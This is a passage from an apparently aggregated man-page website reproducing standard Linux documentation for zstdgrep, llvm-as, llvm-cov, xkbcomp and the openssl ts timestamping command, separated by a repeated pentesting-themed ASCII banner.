➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command zstdgrep and provides detailed information about the command zstdgrep, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the zstdgrep.

NAME 🖥️ zstdgrep 🖥️

print lines matching a pattern in zstandard-compressed files

SYNOPSIS

zstdgrep [grep-flags] [–] pattern [files …]

DESCRIPTION

zstdgrep runs grep(1) on files, or stdin if no files argument is given, after decompressing them with zstdcat(1).

The grep-flags and pattern arguments are passed on to grep(1). If an -e flag is found in the grep-flags, zstdgrep will not look for a pattern argument.

Note that modern grep alternatives such as ripgrep (rg(1)) support zstd-compressed files out of the box, and can prove better alternatives than zstdgrep notably for unsupported complex pattern searches. Note though that such alternatives may also feature some minor command line differences.

EXIT STATUS

In case of missing arguments or missing pattern, 1 will be returned, otherwise 0.

SEE ALSO

zstd(1)

AUTHORS

Thomas Klausner [email protected]

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1904 - Linux cli command llvm-as-16

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command llvm-as-16 and provides detailed information about the command llvm-as-16, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the llvm-as-16.

NAME 🖥️ llvm-as-16 🖥️

as - LLVM assembler

SYNOPSIS

llvm-as [options] [filename]

DESCRIPTION

llvm-as is the LLVM assembler. It reads a file containing human-readable LLVM assembly language, translates it to LLVM bitcode, and writes the result into a file or to standard output.

If filename is omitted or is -, then llvm-as reads its input from standard input.

If an output file is not specified with the -o option, then llvm-as sends its output to a file or standard output by following these rules:

  • If the input is standard input, then the output is standard output.

  • If the input is a file that ends with .ll, then the output file is of the same name, except that the suffix is changed to .bc.

  • If the input is a file that does not end with the .ll suffix, then the output file has the same name as the input file, except that the .bc suffix is appended.

OPTIONS

-f
Enable binary output on terminals. Normally, llvm-as will refuse to write raw bitcode output if the output stream is a terminal. With this option, llvm-as will write raw bitcode regardless of the output device.

-help
Print a summary of command line options.

-o filename
Specify the output file name. If filename is -, then llvm-as sends its output to standard output.

EXIT STATUS

If llvm-as succeeds, it will exit with 0. Otherwise, if an error occurs, it will exit with a non-zero value.

SEE ALSO

llvm-dis(1), as(1)

AUTHOR

Maintained by the LLVM Team (https://llvm.org/).

COPYRIGHT

2003-2024, LLVM Project

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1905 - Linux cli command llvm-cov-17

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command llvm-cov-17 and provides detailed information about the command llvm-cov-17, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the llvm-cov-17.

NAME 🖥️ llvm-cov-17 🖥️

cov - emit coverage information

SYNOPSIS

llvm-cov command [args…]

DESCRIPTION

The llvm-cov tool shows code coverage information for programs that are instrumented to emit profile data. It can be used to work with gcov-style coverage or with clang’s instrumentation based profiling.

If the program is invoked with a base name of gcov, it will behave as if the llvm-cov gcov command were called. Otherwise, a command should be provided.

COMMANDS

  • gcov

  • show

  • report

  • export

GCOV COMMAND

SYNOPSIS

llvm-cov gcov [options] SOURCEFILE

DESCRIPTION

The llvm-cov gcov tool reads code coverage data files and displays the coverage information for a specified source file. It is compatible with the gcov tool from version 4.2 of GCC and may also be compatible with some later versions of gcov.

To use llvm-cov gcov, you must first build an instrumented version of your application that collects coverage data as it runs. Compile with the -fprofile-arcs and -ftest-coverage options to add the instrumentation. (Alternatively, you can use the –coverage option, which includes both of those other options.)

At the time you compile the instrumented code, a .gcno data file will be generated for each object file. These .gcno files contain half of the coverage data. The other half of the data comes from .gcda files that are generated when you run the instrumented program, with a separate .gcda file for each object file. Each time you run the program, the execution counts are summed into any existing .gcda files, so be sure to remove any old files if you do not want their contents to be included.

By default, the .gcda files are written into the same directory as the object files, but you can override that by setting the GCOV_PREFIX and GCOV_PREFIX_STRIP environment variables. The GCOV_PREFIX_STRIP variable specifies a number of directory components to be removed from the start of the absolute path to the object file directory. After stripping those directories, the prefix from the GCOV_PREFIX variable is added. These environment variables allow you to run the instrumented program on a machine where the original object file directories are not accessible, but you will then need to copy the .gcda files back to the object file directories where llvm-cov gcov expects to find them.

Once you have generated the coverage data files, run llvm-cov gcov for each main source file where you want to examine the coverage results. This should be run from the same directory where you previously ran the compiler. The results for the specified source file are written to a file named by appending a .gcov suffix. A separate output file is also created for each file included by the main source file, also with a .gcov suffix added.

The basic content of an .gcov output file is a copy of the source file with an execution count and line number prepended to every line. The execution count is shown as - if a line does not contain any executable code. If a line contains code but that code was never executed, the count is displayed as #####.

OPTIONS

-a, –all-blocks
Display all basic blocks. If there are multiple blocks for a single line of source code, this option causes llvm-cov to show the count for each block instead of just one count for the entire line.

-b, –branch-probabilities
Display conditional branch probabilities and a summary of branch information.

-c, –branch-counts
Display branch counts instead of probabilities (requires -b).

-m, –demangled-names
Demangle function names.

-f, –function-summaries
Show a summary of coverage for each function instead of just one summary for an entire source file.

–help
Display available options (–help-hidden for more).

-l, –long-file-names
For coverage output of files included from the main source file, add the main file name followed by ## as a prefix to the output file names. This can be combined with the –preserve-paths option to use complete paths for both the main file and the included file.

-n, –no-output
Do not output any .gcov files. Summary information is still displayed.

-o <DIR|FILE>, –object-directory=<DIR>, –object-file=<FILE>
Find objects in DIR or based on FILE’s path. If you specify a particular object file, the coverage data files are expected to have the same base name with .gcno and .gcda extensions. If you specify a directory, the files are expected in that directory with the same base name as the source file.

-p, –preserve-paths
Preserve path components when naming the coverage output files. In addition to the source file name, include the directories from the path to that file. The directories are separate by # characters, with . directories removed and .. directories replaced by ^ characters. When used with the –long-file-names option, this applies to both the main file name and the included file name.

-r
Only dump files with relative paths or absolute paths with the prefix specified by -s.

-s <string>
Source prefix to elide.

-t, –stdout
Print to stdout instead of producing .gcov files.

-u, –unconditional-branches
Include unconditional branches in the output for the –branch-probabilities option.

-version
Display the version of llvm-cov.

-x, –hash-filenames
Use md5 hash of file name when naming the coverage output files. The source file name will be suffixed by ## followed by MD5 hash calculated for it.

EXIT STATUS

llvm-cov gcov returns 1 if it cannot read input files. Otherwise, it exits with zero.

SHOW COMMAND

SYNOPSIS

llvm-cov show [options] -instr-profile PROFILE [BIN] [-object BIN]… [-sources] [SOURCE]…

DESCRIPTION

The llvm-cov show command shows line by line coverage of the binaries BIN… using the profile data PROFILE. It can optionally be filtered to only show the coverage for the files listed in SOURCE….

BIN may be an executable, object file, dynamic library, or archive (thin or otherwise).

To use llvm-cov show, you need a program that is compiled with instrumentation to emit profile and coverage data. To build such a program with clang use the -fprofile-instr-generate and -fcoverage-mapping flags. If linking with the clang driver, pass -fprofile-instr-generate to the link stage to make sure the necessary runtime libraries are linked in.

The coverage information is stored in the built executable or library itself, and this is what you should pass to llvm-cov show as a BIN argument. The profile data is generated by running this instrumented program normally. When the program exits it will write out a raw profile file, typically called default.profraw, which can be converted to a format that is suitable for the PROFILE argument using the llvm-profdata merge tool.

OPTIONS

-show-branches=<VIEW>
Show coverage for branch conditions in terms of either count or percentage. The supported views are: “count”, “percent”.

-show-line-counts
Show the execution counts for each line. Defaults to true, unless another -show option is used.

-show-expansions
Expand inclusions, such as preprocessor macros or textual inclusions, inline in the display of the source file. Defaults to false.

-show-instantiations
For source regions that are instantiated multiple times, such as templates in C++, show each instantiation separately as well as the combined summary. Defaults to true.

-show-regions
Show the execution counts for each region by displaying a caret that points to the character where the region starts. Defaults to false.

-show-line-counts-or-regions
Show the execution counts for each line if there is only one region on the line, but show the individual regions if there are multiple on the line. Defaults to false.

-use-color
Enable or disable color output. By default this is autodetected.

-arch=[*NAMES*]
Specify a list of architectures such that the Nth entry in the list corresponds to the Nth specified binary. If the covered object is a universal binary, this specifies the architecture to use. It is an error to specify an architecture that is not included in the universal binary or to use an architecture that does not match a non-universal binary.

-name=<NAME>
Show code coverage only for functions with the given name.

-name-allowlist=<FILE>
Show code coverage only for functions listed in the given file. Each line in the file should start with allowlist_fun:, immediately followed by the name of the function to accept. This name can be a wildcard expression.

-name-regex=<PATTERN>
Show code coverage only for functions that match the given regular expression.

-ignore-filename-regex=<PATTERN>
Skip source code files with file paths that match the given regular expression.

-format=<FORMAT>
Use the specified output format. The supported formats are: “text”, “html”.

-tab-size=<TABSIZE>
Replace tabs with <TABSIZE> spaces when preparing reports. Currently, this is only supported for the html format.

-output-dir=PATH
Specify a directory to write coverage reports into. If the directory does not exist, it is created. When used in function view mode (i.e when -name or -name-regex are used to select specific functions), the report is written to PATH/functions.EXTENSION. When used in file view mode, a report for each file is written to PATH/REL_PATH_TO_FILE.EXTENSION.

-Xdemangler=<TOOL>|<TOOL-OPTION>
Specify a symbol demangler. This can be used to make reports more human-readable. This option can be specified multiple times to supply arguments to the demangler (e.g -Xdemangler c++filt -Xdemangler -n for C++). The demangler is expected to read a newline-separated list of symbols from stdin and write a newline-separated list of the same length to stdout.

-num-threads=N, -j=N
Use N threads to write file reports (only applicable when -output-dir is specified). When N=0, llvm-cov auto-detects an appropriate number of threads to use. This is the default.

-compilation-dir=<dir>
Directory used as a base for relative coverage mapping paths. Only applicable when binaries have been compiled with one of -fcoverage-prefix-map -fcoverage-compilation-dir, or -ffile-compilation-dir.

-line-coverage-gt=<N>
Show code coverage only for functions with line coverage greater than the given threshold.

-line-coverage-lt=<N>
Show code coverage only for functions with line coverage less than the given threshold.

-region-coverage-gt=<N>
Show code coverage only for functions with region coverage greater than the given threshold.

-region-coverage-lt=<N>
Show code coverage only for functions with region coverage less than the given threshold.

-path-equivalence=<from>,<to>
Map the paths in the coverage data to local source file paths. This allows you to generate the coverage data on one machine, and then use llvm-cov on a different machine where you have the same files on a different path.

-coverage-watermark=<high>,<low>
Set high and low watermarks for coverage in html format output. This allows you to set the high and low watermark of coverage as desired, green when coverage >= high, red when coverage < low, and yellow otherwise. Both high and low should be between 0-100 and high > low.

-debuginfod
Use debuginfod to look up coverage mapping for binary IDs present in the profile but not in any object given on the command line. Defaults to true if debuginfod is compiled in and configured via the DEBUGINFOD_URLS environment variable.

-debug-file-directory=<dir>
Provides local directories to search for objects corresponding to binary IDs in the profile (as with debuginfod). Defaults to system build ID directories.

-check-binary-ids
Fail if an object file cannot be found for a binary ID present in the profile, neither on the command line nor via binary ID lookup.

REPORT COMMAND

SYNOPSIS

llvm-cov report [options] -instr-profile PROFILE [BIN] [-object BIN]… [-sources] [SOURCE]…

DESCRIPTION

The llvm-cov report command displays a summary of the coverage of the binaries BIN… using the profile data PROFILE. It can optionally be filtered to only show the coverage for the files listed in SOURCE….

BIN may be an executable, object file, dynamic library, or archive (thin or otherwise).

If no source files are provided, a summary line is printed for each file in the coverage data. If any files are provided, summaries can be shown for each function in the listed files if the -show-functions option is enabled.

For information on compiling programs for coverage and generating profile data, see SHOW COMMAND.

OPTIONS

-use-color[=VALUE]
Enable or disable color output. By default this is autodetected.

-arch=<name>
If the covered binary is a universal binary, select the architecture to use. It is an error to specify an architecture that is not included in the universal binary or to use an architecture that does not match a non-universal binary.

-show-region-summary
Show statistics for all regions. Defaults to true.

-show-branch-summary
Show statistics for all branch conditions. Defaults to true.

-show-functions
Show coverage summaries for each function. Defaults to false.

-show-instantiation-summary
Show statistics for all function instantiations. Defaults to false.

-ignore-filename-regex=<PATTERN>
Skip source code files with file paths that match the given regular expression.

-compilation-dir=<dir>
Directory used as a base for relative coverage mapping paths. Only applicable when binaries have been compiled with one of -fcoverage-prefix-map -fcoverage-compilation-dir, or -ffile-compilation-dir.

-debuginfod
Attempt to look up coverage mapping from objects using debuginfod. This is attempted by default for binary IDs present in the profile but not provided on the command line, so long as debuginfod is compiled in and configured via DEBUGINFOD_URLS.

-debug-file-directory=<dir>
Provides a directory to search for objects corresponding to binary IDs in the profile.

-check-binary-ids
Fail if an object file cannot be found for a binary ID present in the profile, neither on the command line nor via binary ID lookup.

EXPORT COMMAND

SYNOPSIS

llvm-cov export [options] -instr-profile PROFILE [BIN] [-object BIN]… [-sources] [SOURCE]…

DESCRIPTION

The llvm-cov export command exports coverage data of the binaries BIN… using the profile data PROFILE in either JSON or lcov trace file format.

When exporting JSON, the regions, functions, branches, expansions, and summaries of the coverage data will be exported. When exporting an lcov trace file, the line-based coverage, branch coverage, and summaries will be exported.

The exported data can optionally be filtered to only export the coverage for the files listed in SOURCE….

For information on compiling programs for coverage and generating profile data, see SHOW COMMAND.

OPTIONS

-arch=<name>
If the covered binary is a universal binary, select the architecture to use. It is an error to specify an architecture that is not included in the universal binary or to use an architecture that does not match a non-universal binary.

-format=<FORMAT>
Use the specified output format. The supported formats are: “text” (JSON), “lcov”.

-summary-only
Export only summary information for each file in the coverage data. This mode will not export coverage information for smaller units such as individual functions or regions. The result will contain the same information as produced by the llvm-cov report command, but presented in JSON or lcov format rather than text.

-ignore-filename-regex=<PATTERN>
Skip source code files with file paths that match the given regular expression.

-skip-expansions

Skip exporting macro expansion coverage data.

-skip-functions

Skip exporting per-function coverage data.

-num-threads=N, -j=N

Use N threads to export coverage data. When N=0, llvm-cov auto-detects an appropriate number of threads to use. This is the default.

-compilation-dir=<dir>
Directory used as a base for relative coverage mapping paths. Only applicable when binaries have been compiled with one of -fcoverage-prefix-map -fcoverage-compilation-dir, or -ffile-compilation-dir.

-debuginfod
Attempt to look up coverage mapping from objects using debuginfod. This is attempted by default for binary IDs present in the profile but not provided on the command line, so long as debuginfod is compiled in and configured via DEBUGINFOD_URLS.

-debug-file-directory=<dir>
Provides a directory to search for objects corresponding to binary IDs in the profile.

-check-binary-ids
Fail if an object file cannot be found for a binary ID present in the profile, neither on the command line nor via binary ID lookup.

AUTHOR

Maintained by the LLVM Team (https://llvm.org/).

COPYRIGHT

2003-2024, LLVM Project

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1906 - Linux cli command xkbcomp

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xkbcomp and provides detailed information about the command xkbcomp, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xkbcomp.

NAME 🖥️ xkbcomp 🖥️

compile XKB keyboard description

SYNOPSIS

xkbcomp [option] source [ destination ]

DESCRIPTION

The xkbcomp keymap compiler converts a description of an XKB keymap into one of several output formats. The most common use for xkbcomp is to create a compiled keymap file (.xkm extension) which can be read directly by XKB-capable X servers or utilities. The keymap compiler can also produce C header files or XKB source files. The C header files produced by xkbcomp can be included by X servers or utilities that need a built-in default keymap. The XKB source files produced by xkbcomp are fully resolved and can be used to verify that the files which typically make up an XKB keymap are merged correctly or to create a single file which contains a complete description of the keymap.

The source may specify an X display, or an .xkb or .xkm file; unless explicitly specified, the format of destination depends on the format of the source. Compiling a .xkb (keymap source) file generates a .xkm (compiled keymap file) by default. If the source is a .xkm file or an X display, xkbcomp generates a keymap source file by default.

If the destination is an X display, the keymap for the display is updated with the compiled keymap.

The name of the destination is usually computed from the name of the source, with the extension replaced as appropriate. When compiling a single map from a file which contains several maps, xkbcomp constructs the destination file name by appending an appropriate extension to the name of the map to be used.

OPTIONS

-a
Show all keyboard information, reporting implicit or derived information as a comment. Only affects .xkb format output.

-C
Produce a C header file as output (.h extension).

-dflts
Compute defaults for any missing components, such as key names.

-em1 msg
Print msg before printing first error message.

-emp msg
Print msg at the start of each message line.

-eml msg
If there were any errors, print msg before exiting.

-help, -?
Show available options.

-Idir
Specifies top-level directories to be searched for files included by the keymap description. After all directories specified by -I options have been searched, the current directory and finally, the default xkb directory /usr/share/X11/xkb will be searched.

To prevent the current and default directories from being searched, use the -I option alone (i.e. without a directory), before any -I options that specify the directories you do want searched.

-i deviceid
If source or destination is a valid X display, load the keymap from/into the device with the specified ID (not name).

-l
List maps that specify the map pattern in any files listed on the command line (not implemented yet).

-m name
Specifies a map to be compiled from an file with multiple entries.

-merge
Merge the compiled information with the map from the server (not implemented yet).

-o name
Specifies a name for the generated output file. The default is the name of the source file with an appropriate extension for the output format.

-opt parts
Specifies a list of optional parts. Compilation errors in any optional parts are not fatal. Parts may consist of any combination of the letters c, g,k,s,t which specify the compatibility map, geometry, keycodes, symbols and types, respectively.

-Rdir
Specifies the root directory for relative path names.

-synch
Force synchronization for X requests.

-version
Print version number.

-w lvl
Controls the reporting of warnings during compilation. A warning level of 0 disables all warnings; a warning level of 10 enables them all.

-xkb
Generate a source description of the keyboard as output (.xkb extension).

-xkm
Generate a compiled keymap file as output (.xkm extension).

SEE ALSO

X(7)

AUTHOR

Erik Fortune, Silicon Graphics

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1907 - Linux cli command openssl-tsssl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command openssl-tsssl and provides detailed information about the command openssl-tsssl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the openssl-tsssl.

NAME 🖥️ openssl-tsssl 🖥️

ts - Time Stamping Authority command

SYNOPSIS

openssl ts -help

openssl ts -query [-config configfile] [-data file_to_hash] [-digest digest_bytes] [-digest] [-tspolicy object_id] [-no_nonce] [-cert] [-in request.tsq] [-out request.tsq] [-text] [-rand files] [-writerand file] [-provider name] [-provider-path path] [-propquery propq]

openssl ts -reply [-config configfile] [-section tsa_section] [-queryfile request.tsq] [-passin password_src] [-signer tsa_cert.pem] [-inkey filename|uri] [-digest] [-chain certs_file.pem] [-tspolicy object_id] [-in response.tsr] [-token_in] [-out response.tsr] [-token_out] [-text] [-engine id] [-provider name] [-provider-path path] [-propquery propq]

openssl ts -verify [-data file_to_hash] [-digest digest_bytes] [-queryfile request.tsq] [-in response.tsr] [-token_in] [-untrusted files|uris] [-CAfile file] [-CApath dir] [-CAstore uri] [-allow_proxy_certs] [-attime timestamp] [-no_check_time] [-check_ss_sig] [-crl_check] [-crl_check_all] [-explicit_policy] [-extended_crl] [-ignore_critical] [-inhibit_any] [-inhibit_map] [-partial_chain] [-policy arg] [-policy_check] [-policy_print] [-purpose purpose] [-suiteB_128] [-suiteB_128_only] [-suiteB_192] [-trusted_first] [-no_alt_chains] [-use_deltas] [-auth_level num] [-verify_depth num] [-verify_email email] [-verify_hostname hostname] [-verify_ip ip] [-verify_name name] [-x509_strict] [-issuer_checks] [-provider name] [-provider-path path] [-propquery propq]

DESCRIPTION

This command is a basic Time Stamping Authority (TSA) client and server application as specified in RFC 3161 (Time-Stamp Protocol, TSP). A TSA can be part of a PKI deployment and its role is to provide long term proof of the existence of a certain datum before a particular time. Here is a brief description of the protocol:

  1. The TSA client computes a one-way hash value for a data file and sends the hash to the TSA.

  2. The TSA attaches the current date and time to the received hash value, signs them and sends the timestamp token back to the client. By creating this token the TSA certifies the existence of the original data file at the time of response generation.

  3. The TSA client receives the timestamp token and verifies the signature on it. It also checks if the token contains the same hash value that it had sent to the TSA.

There is one DER encoded protocol data unit defined for transporting a timestamp request to the TSA and one for sending the timestamp response back to the client. This command has three main functions: creating a timestamp request based on a data file, creating a timestamp response based on a request, verifying if a response corresponds to a particular request or a data file.

There is no support for sending the requests/responses automatically over HTTP or TCP yet as suggested in RFC 3161. The users must send the requests either by ftp or e-mail.

OPTIONS

-help
Print out a usage message.

-query
Generate a TS query. For details see “Timestamp Request generation”.

-reply
Generate a TS reply. For details see “Timestamp Response generation”.

-verify
Verify a TS response. For details see “Timestamp Response verification”.

Timestamp Request generation

The -query command can be used for creating and printing a timestamp request with the following options:

-config configfile
The configuration file to use. Optional; for a description of the default value, see “COMMAND SUMMARY” in openssl (1).

-data file_to_hash
The data file for which the timestamp request needs to be created. stdin is the default if neither the -data nor the -digest parameter is specified. (Optional)

-digest digest_bytes
It is possible to specify the message imprint explicitly without the data file. The imprint must be specified in a hexadecimal format, two characters per byte, the bytes optionally separated by colons (e.g. 1A:F6:01:… or 1AF601…). The number of bytes must match the message digest algorithm in use. (Optional)

-digest
The message digest to apply to the data file. Any digest supported by the openssl-dgst (1) command can be used. The default is SHA-256. (Optional)

-tspolicy object_id
The policy that the client expects the TSA to use for creating the timestamp token. Either the dotted OID notation or OID names defined in the config file can be used. If no policy is requested the TSA will use its own default policy. (Optional)

-no_nonce
No nonce is specified in the request if this option is given. Otherwise, a 64-bit long pseudo-random nonce is included in the request. It is recommended to use a nonce to protect against replay attacks. (Optional)

-cert
The TSA is expected to include its signing certificate in the response. (Optional)

-in request.tsq
This option specifies a previously created timestamp request in DER format that will be printed into the output file. Useful when you need to examine the content of a request in human-readable format. (Optional)

-out request.tsq
Name of the output file to which the request will be written. Default is stdout. (Optional)

-text
If this option is specified the output is human-readable text format instead of DER. (Optional)

-rand files, -writerand file
See “Random State Options” in openssl (1) for details.

Timestamp Response generation

A timestamp response (TimeStampResp) consists of a response status and the timestamp token itself (ContentInfo), if the token generation was successful. The -reply command is for creating a timestamp response or timestamp token based on a request and printing the response/token in human-readable format. If -token_out is not specified the output is always a timestamp response (TimeStampResp), otherwise it is a timestamp token (ContentInfo).

-config configfile
The configuration file to use. Optional; for a description of the default value, see “COMMAND SUMMARY” in openssl (1). See “CONFIGURATION FILE OPTIONS” for configurable variables.

-section tsa_section
The name of the config file section containing the settings for the response generation. If not specified the default TSA section is used, see “CONFIGURATION FILE OPTIONS” for details. (Optional)

-queryfile request.tsq
The name of the file containing a DER encoded timestamp request. (Optional)

-passin password_src
Specifies the password source for the private key of the TSA. See description in openssl (1). (Optional)

-signer tsa_cert.pem
The signer certificate of the TSA in PEM format. The TSA signing certificate must have exactly one extended key usage assigned to it: timeStamping. The extended key usage must also be critical, otherwise the certificate is going to be refused. Overrides the signer_cert variable of the config file. (Optional)

-inkey filename|uri
The signer private key of the TSA in PEM format. Overrides the signer_key config file option. (Optional)

-digest
Signing digest to use. Overrides the signer_digest config file option. (Mandatory unless specified in the config file)

-chain certs_file.pem
The collection of certificates in PEM format that will all be included in the response in addition to the signer certificate if the -cert option was used for the request. This file is supposed to contain the certificate chain for the signer certificate from its issuer upwards. The -reply command does not build a certificate chain automatically. (Optional)

-tspolicy object_id
The default policy to use for the response unless the client explicitly requires a particular TSA policy. The OID can be specified either in dotted notation or with its name. Overrides the default_policy config file option. (Optional)

-in response.tsr
Specifies a previously created timestamp response or timestamp token (if -token_in is also specified) in DER format that will be written to the output file. This option does not require a request, it is useful e.g. when you need to examine the content of a response or token or you want to extract the timestamp token from a response. If the input is a token and the output is a timestamp response a default ‘granted’ status info is added to the token. (Optional)

-token_in
This flag can be used together with the -in option and indicates that the input is a DER encoded timestamp token (ContentInfo) instead of a timestamp response (TimeStampResp). (Optional)

-out response.tsr
The response is written to this file. The format and content of the file depends on other options (see -text, -token_out). The default is stdout. (Optional)

-token_out
The output is a timestamp token (ContentInfo) instead of timestamp response (TimeStampResp). (Optional)

-text
If this option is specified the output is human-readable text format instead of DER. (Optional)

-engine id
See “Engine Options” in openssl (1). This option is deprecated.

-provider name

-provider-path path

-propquery propq

See “Provider Options” in openssl (1), provider (7), and property (7).

Timestamp Response verification

The -verify command is for verifying if a timestamp response or timestamp token is valid and matches a particular timestamp request or data file. The -verify command does not use the configuration file.

-data file_to_hash
The response or token must be verified against file_to_hash. The file is hashed with the message digest algorithm specified in the token. The -digest and -queryfile options must not be specified with this one. (Optional)

-digest digest_bytes
The response or token must be verified against the message digest specified with this option. The number of bytes must match the message digest algorithm specified in the token. The -data and -queryfile options must not be specified with this one. (Optional)

-queryfile request.tsq
The original timestamp request in DER format. The -data and -digest options must not be specified with this one. (Optional)

-in response.tsr
The timestamp response that needs to be verified in DER format. (Mandatory)

-token_in
This flag can be used together with the -in option and indicates that the input is a DER encoded timestamp token (ContentInfo) instead of a timestamp response (TimeStampResp). (Optional)

-untrusted files|uris
A set of additional untrusted certificates which may be needed when building the certificate chain for the TSA’s signing certificate. These do not need to contain the TSA signing certificate and intermediate CA certificates as far as the response already includes them. (Optional) Multiple sources may be given, separated by commas and/or whitespace. Each file may contain multiple certificates.

-CAfile file, -CApath dir, -CAstore uri
See “Trusted Certificate Options” in openssl-verification-options (1) for details. At least one of -CAfile, -CApath or -CAstore must be specified.

-allow_proxy_certs, -attime, -no_check_time, -check_ss_sig, -crl_check, -crl_check_all, -explicit_policy, -extended_crl, -ignore_critical, -inhibit_any, -inhibit_map, -no_alt_chains, -partial_chain, -policy, -policy_check, -policy_print, -purpose, -suiteB_128, -suiteB_128_only, -suiteB_192, -trusted_first, -use_deltas, -auth_level, -verify_depth, -verify_email, -verify_hostname, -verify_ip, -verify_name, -x509_strict -issuer_checks
Set various options of certificate chain verification. See “Verification Options” in openssl-verification-options (1) for details. Any verification errors cause the command to exit.

CONFIGURATION FILE OPTIONS

The -query and -reply commands make use of a configuration file. See config (5) for a general description of the syntax of the config file. The -query command uses only the symbolic OID names section and it can work without it. However, the -reply command needs the config file for its operation.

When there is a command line switch equivalent of a variable the switch always overrides the settings in the config file.

tsa section, default_tsa
This is the main section and it specifies the name of another section that contains all the options for the -reply command. This default section can be overridden with the -section command line switch. (Optional)

oid_file
This specifies a file containing additional OBJECT IDENTIFIERS. Each line of the file should consist of the numerical form of the object identifier followed by whitespace then the short name followed by whitespace and finally the long name. (Optional)

oid_section
This specifies a section in the configuration file containing extra object identifiers. Each line should consist of the short name of the object identifier followed by = and the numerical form. The short and long names are the same when this option is used. (Optional)

RANDFILE
At startup the specified file is loaded into the random number generator, and at exit 256 bytes will be written to it. (Note: Using a RANDFILE is not necessary anymore, see the “HISTORY” section.

serial
The name of the file containing the hexadecimal serial number of the last timestamp response created. This number is incremented by 1 for each response. If the file does not exist at the time of response generation a new file is created with serial number 1. (Mandatory)

crypto_device
